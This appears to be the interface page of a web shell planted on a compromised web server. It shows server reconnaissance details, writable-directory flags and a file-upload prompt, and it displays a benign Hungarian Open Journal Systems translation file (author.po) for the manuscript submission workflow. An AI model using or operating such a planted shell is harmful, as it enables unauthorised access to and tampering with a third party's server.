KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/hu_HU/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/hu_HU/author.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2020-02-13T21:04:23+00:00\n"
"PO-Revision-Date: 2020-02-14 20:38+0000\n"
"Last-Translator: Gabor Klinger <[email protected]>\n"
"Language-Team: Hungarian <http://translate.pkp.sfu.ca/projects/ojs/author/hu/"
">\n"
"Language: hu_HU\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "author.submit"
msgstr "Új beküldés"

msgid "author.track"
msgstr "Aktív beküldések"

msgid "author.competingInterests"
msgstr "Összeférhetetlenség <a target=\"_new\" class=\"action\" href=\"{$competingInterestGuidelinesUrl}\">CI&nbsp;Politika</a>"

msgid "author.submit.submitArticle"
msgstr "Egy cikk beküldése"

msgid "author.submit.stepsToSubmit"
msgstr "5 lépés a beküldéshez"

msgid "author.submit.startHereTitle"
msgstr "Új beküldés megkezdése"

msgid "author.submit.startHereLink"
msgstr "<a href=\"{$submitUrl}\" class=\"action\">Kattintson ide</a>, hogy eljusson az 5 lépéses benyújtási folyamat első lépéséhez."

msgid "author.submit.step1"
msgstr "1. lépés Beküldés megkezdése"

msgid "author.submit.step2"
msgstr "2. lépés A beküldendő anyag feltöltése"

msgid "author.submit.step3"
msgstr "3. lépés A beküldött anyag metaadatainak megadása"

msgid "author.submit.step4"
msgstr "4. lépés Kiegészítő fájlok feltöltése"

msgid "author.submit.step4a"
msgstr "4a. lépés Kiegészítő fájl hozzáadása"

msgid "author.submit.step5"
msgstr "5. lépés A beküldés jóváhagyása"

msgid "author.submit.start"
msgstr "Kezdés"

msgid "author.submit.upload"
msgstr "Beküldendő anyag feltöltése"

msgid "author.submit.metadata"
msgstr "Metaadatok megadása"

msgid "author.submit.supplementaryFiles"
msgstr "Kiegészítő fájlok feltöltése"

msgid "author.submit.confirmation"
msgstr "Megerősítés"

msgid "author.submit.nextSteps"
msgstr "Következő lépés"

msgid "submission.submit.cancelSubmission"
msgstr "Később is jóváhagyhatja a beküldést, ha kiválasztja az aktív beküldéseket  a szerzői főoldalról."

msgid "author.submit.notAccepting"
msgstr "Ez a folyóirat jelenleg nem fogad beküldéseket."

msgid "author.submit.requestWaiver"
msgstr "Lemondás kérése"

msgid "author.submit.qualifyForWaiver"
msgstr "Kérjük, vegye figyelembe, hogy ezzel lemond a cikkért járó honoráriumról."

msgid "author.submit.addReasonsForWaiver"
msgstr "Kérjük, a megjegyzés mezőbe indokolja a lemondást."

msgid "author.submit.mustEnterWaiverReason"
msgstr "Ha a kérelmező egyben a lemondó is, akkor indokolnia kell lemondást a megadott helyen."

msgid "author.submissions.queuedReviewSubsequent"
msgstr "A szakmai lektorálási kör {$round}"

msgid "author.submissions.queuedReviewRevisions"
msgstr "Szakmai lektorálás alatt: Átnézés kérése"

msgid "author.submissions.queuedEditingCopyedit"
msgstr "Szerkesztésnél: Nyelvi lektorálás kérése"

msgid "author.submissions.queuedEditingProofread"
msgstr "Szerkesztésnél: Korrektúra kérése"

msgid "author.submissions.uploadCopyeditedVersion"
msgstr "Beszerkesztett változat feltöltése"

msgid "author.submissions.proofreadingCorrections"
msgstr "Korrektúrázási javítások"

msgid "author.submissions.confirmDelete"
msgstr "Valóban törölni akarja ezt a befejezetlen beküldést?"

msgid "author.submissions.viewStatus"
msgstr "Státusz megtekintése"

msgid "author.submissions.noSubmissions"
msgstr "Nincs beküldés."

msgid "author.submit.journalSection"
msgstr "Folyóiratrovat"

msgid "author.submit.journalSectionDescription"
msgstr "A cikkeket a folyóirat valamelyik rovatához kell beküldeni."

msgid "author.submit.verifyChecklist"
msgstr "A folytatás előtt meg kell bizonyosodnia arról, hogy az ellenőrzési lista minden tétele elfogadott."

msgid "author.submit.copyrightNoticeAgree"
msgstr "A szerzőknek el kell fogadniuk a szerzői jogi közleményeket, amely erre a benyújtott anyagra vonatkozik, ha és amikor a folyóiratban publikálásra kerül (a szerkesztőnek szánt megjegyzéseket később lehet hozzátenni)."

msgid "author.submit.copyrightNoticeAgreeRequired"
msgstr "Mielőtt folytatná el kell fogadnia a szerzői jogi közleményeket."

msgid "submission.submit.coverNote"
msgstr "A szerkesztőnek szánt megjegyzések"

msgid "author.submit.comments"
msgstr "Szöveg megadása (nem kötelező)"

msgid "author.submit.form.sectionRequired"
msgstr "Kérjük, válassza ki, hogy melyik folyóiratterülethez nyújtja be az anyagot."

msgid "author.submit.form.localeRequired"
msgstr "Kérjük, válassza ki a benyújtás nyelvét."

msgid "submission.submit.privacyStatement"
msgstr "A folyóirat adatvédelmi nyilatkozata"

msgid "author.submit.reorderInstructions"
msgstr "A szerzők újrarendezése, hogy megfelelő sorrendben jelenjenek meg a publikációnál."

msgid "author.submit.reorder"
msgstr "A szerzők nevének újrarendezése"

msgid "author.submit.selectPrincipalContact"
msgstr "A fő kapcsolattartó a szerkesztőségi levelezésnél."

msgid "author.submit.addAuthor"
msgstr "Szerző hozzáadása"

msgid "author.submit.deleteAuthor"
msgstr "Szerző törlése"

msgid "author.submit.submissionIndexingDescription"
msgstr "Kifejezések megadása a benyújtott anyag indexeléséhez; a kifejezéseket pontosvesszővel válassza el (kifejezés1; kifejezés2; kifejezés3)."

msgid "author.submit.coverageInstructions"
msgstr "Utal egy földrajzi helyre, időrendi vagy történelmi lefedettségre, és/vagy kutatási terület példára."

msgid "author.submit.languageInstructions"
msgstr "English=en; French=fr; Spanish=es. <a href=\"http://www.loc.gov/standards/iso639-2/php/code_list.php\" target=\"_blank\">További kódok</a>."

msgid "author.submit.form.authorRequired"
msgstr "Legalább egy szerzőt meg kell adni."

msgid "author.submit.form.authorRequiredFields"
msgstr "Minden szerzőnél kötelező a vezetéknév, keresztnév és az e-mail cím."

msgid "author.submit.form.titleRequired"
msgstr "Kérjük, adja meg a cikk címét."

msgid "author.submit.form.abstractRequired"
msgstr "Kérjük, adja meg a cikkének az absztraktját."

msgid "author.submit.form.wordCountAlert"
msgstr "Ebben a szakaszban túllépte az absztrakt maximális szó határt."

msgid "author.submit.submissionFile"
msgstr "Fájlbeküldés"

msgid "author.submit.uploadSubmissionFile"
msgstr ">Beküldendő anyag feltöltése"

msgid "author.submit.replaceSubmissionFile"
msgstr "A beküldött fájl cseréje"

msgid "author.submit.noSubmissionFile"
msgstr "Nincs beküldött fájl."

msgid "author.submit.noSubmissionConfirm"
msgstr "Biztosan folytatni akarja beküldött anyag feltöltése nélkül?"

msgid "author.submit.supplementaryFilesInstructions"
msgstr "Nem kötelező, hogy kiegészítő fájlt töltsön a cikkéhez. A fájloknak, amelyek bármilyen formátumban lehetnek, tartalmazniuk kell (a) kutatási eszközöket, (b) adathalmazokat, amelyeknek meg kell felelniük a vizsgált kutatási terület etikai elbírálási szempontjainak (c) azokat a forrásokat, amelyeket egyébként az olvasók nem látnak, (d) ábrákat és táblázatokat, amelyek nem integrálhatók magába a szövegbe, vagy más anyagokat, amelyek hozzájárultak a munka elkészültéhez."

msgid "author.submit.supplementaryFiles.saveToUpload"
msgstr "Kattintson a Mentésre a fájl feltöltéséhez (miután a hozzáadott fájl megjelent)."

msgid "author.submit.forgottenSubmitSuppFile"
msgstr "Biztosan folytatni akarja a kiválasztott kiegészítő fájlok feltöltése nélkül?"

msgid "author.submit.noSupplementaryFiles"
msgstr "Nincs kiegészítő fájl hozzáadva ehhez a beküldéshez."

msgid "author.submit.backToSupplementaryFiles"
msgstr "Vissza a kiegészítő fájlhoz"

msgid "author.submit.confirmDeleteSuppFile"
msgstr "Biztos benne, hogy törölni akarja ezt a kiegészítő fájlt?"

msgid "author.submit.uploadSuppFile"
msgstr "Kiegészítő fájl feltöltése"

msgid "author.submit.addSupplementaryFile"
msgstr "Kiegészítő fájl hozzáadása"

msgid "author.submit.editSupplementaryFile"
msgstr "Kiegészítő fájl szerkesztése"

msgid "author.submit.supplementaryFileData"
msgstr "Kiegészítő fájl metaadat"

msgid "author.submit.supplementaryFileDataDescription"
msgstr "A kiegészítő anyag indexeléséhez a továbbiakban adjon meg metaadatot a feltöltött kiegészítő fájlhoz."

msgid "author.submit.supplementaryFileUpload"
msgstr "Kiegészítő fájl"

msgid "author.submit.suppFile.createrOrOwner"
msgstr "A fájl készítője (vagy tulajdonosa)"

msgid "author.submit.suppFile.researchInstrument"
msgstr "Kutatási eszköz"

msgid "author.submit.suppFile.researchMaterials"
msgstr "Kutatási anyagok"

msgid "author.submit.suppFile.researchResults"
msgstr "Kutatási eredmények"

msgid "author.submit.suppFile.transcripts"
msgstr "Átiratok"

msgid "author.submit.suppFile.dataAnalysis"
msgstr "Adat elemzések"

msgid "author.submit.suppFile.dataSet"
msgstr "Adatkészlet"

msgid "author.submit.suppFile.sourceText"
msgstr "Forrásszöveg"

msgid "author.submit.suppFile.briefDescription"
msgstr "Rövid leírás"

msgid "author.submit.suppFile.availableToPeers"
msgstr "Fájl átadása lektorálásra (metaadat nélkül), ez nem veszélyezteti a kettős vak lektorálást."

msgid "author.submit.suppFile.publisherDescription"
msgstr "Csak formálisan közzétett anyagokkal való használatra."

msgid "author.submit.suppFile.dateDescription"
msgstr "Dátum, amikor az adatot gyűjtötték vagy az eszköz létrejött."

msgid "author.submit.suppFile.sourceDescription"
msgstr "A tanulmány neve vagy egyéb eredet."

msgid "author.submit.suppFile.specifyOtherType"
msgstr "Egyéb részletek"

msgid "author.submit.suppFile.noFile"
msgstr "Nincs fájl feltöltve."

msgid "author.submit.suppFile.form.titleRequired"
msgstr "Kérjük, adja meg a kiegészítő fájl címét."

msgid "author.submit.suppFile.form.subjectRequired"
msgstr "Kérjük, adjon meg tárgyat."

msgid "author.submit.suppFile.form.descriptionRequired"
msgstr "Kérjük, adjon meg leírást."

msgid "author.suppFile.suppFilePublicIdentificationExists"
msgstr "Nyilvános kiegészítő fájl azonosító már létezik."

msgid "author.suppFile.publicSuppFileIdentifier"
msgstr "Nyilvános kiegészítő fájl azonosító"

msgid "author.submit.confirmationDescription"
msgstr "A kézirat {$journalTitle} elküldéséhez kattintson a Beküldés befejezése gombra. A benyújtás fő kapcsolattartója kap egy e-mailt, amelyben a benyújtott anyag aktuális állapotának megtekintéséhez talál linket, így bejelentkezés után folyamatosan nyomonkövethető a lektorálási és szerkesztői folyamat. Köszönjük, hogy érdeklődik a {$journalTitle} folyóiratunknál való publikálás iránt."

msgid "author.submit.noFiles"
msgstr "Ehhez a benyújtáshoz nem csatolt fájlt."

msgid "author.submit.filesSummary"
msgstr "Fájl összesítő"

msgid "author.submit.finishSubmission"
msgstr "Benyújtás befejezése"

msgid "author.submit.submissionComplete"
msgstr "A benyújtás kész. Köszönjük, hogy érdeklődik a {$journalTitle} folyóiratunknál való publikálás iránt."

msgid "author.article.uploadAuthorVersion"
msgstr "Szerzői változat feltöltése"

msgid "author.article.copyeditedFile"
msgstr "Technikailag szerkesztett fájl"

msgid "author.article.authorRevisedFile"
msgstr "Szerzői fájl"

msgid "author.submit.authorSubmitLoginMessage"
msgstr "A folyóirathoz történő beküldéshez felhasználói fiókra van szükség. Ez lehetővé teszi a szerkesztőinknek, hogy a beküldött anyagot nyomonkövessék és kapcsolatba lépjenek Önnel, ha a beküldött anyag státusza megváltozik, vagy ha további információra van szükség Öntől."

KUNTUL | JINGKONTOT |